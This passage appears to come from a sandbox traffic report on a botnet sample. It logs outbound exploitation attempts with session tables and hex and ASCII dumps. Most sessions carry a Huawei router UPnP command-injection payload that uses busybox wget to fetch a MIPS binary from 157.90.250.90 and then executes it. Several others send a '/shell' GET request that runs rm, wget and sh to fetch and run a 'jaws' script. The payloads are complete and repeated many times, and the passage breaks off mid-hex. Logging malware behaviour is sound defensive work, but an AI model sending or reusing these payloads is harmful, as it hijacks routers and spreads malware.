6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	48850	156.125.207.114	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.284446001 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	38022	156.223.49.69	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.285403967 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	45200	41.130.173.219	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.286123037 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	37778	197.244.48.70	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.286869049 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	56978	41.140.236.148	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.288256884 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	35892	197.116.233.17	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.289591074 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	52706	197.216.74.198	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.290887117 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	41888	8.105.165.198	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.290952921 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	47658	156.128.47.189	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.291847944 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	44126	32.198.110.33	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.292421103 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	43842	41.0.186.183	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.293267965 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	54002	93.194.223.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.293736935 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	60294	156.221.107.169	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:50.294519901 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 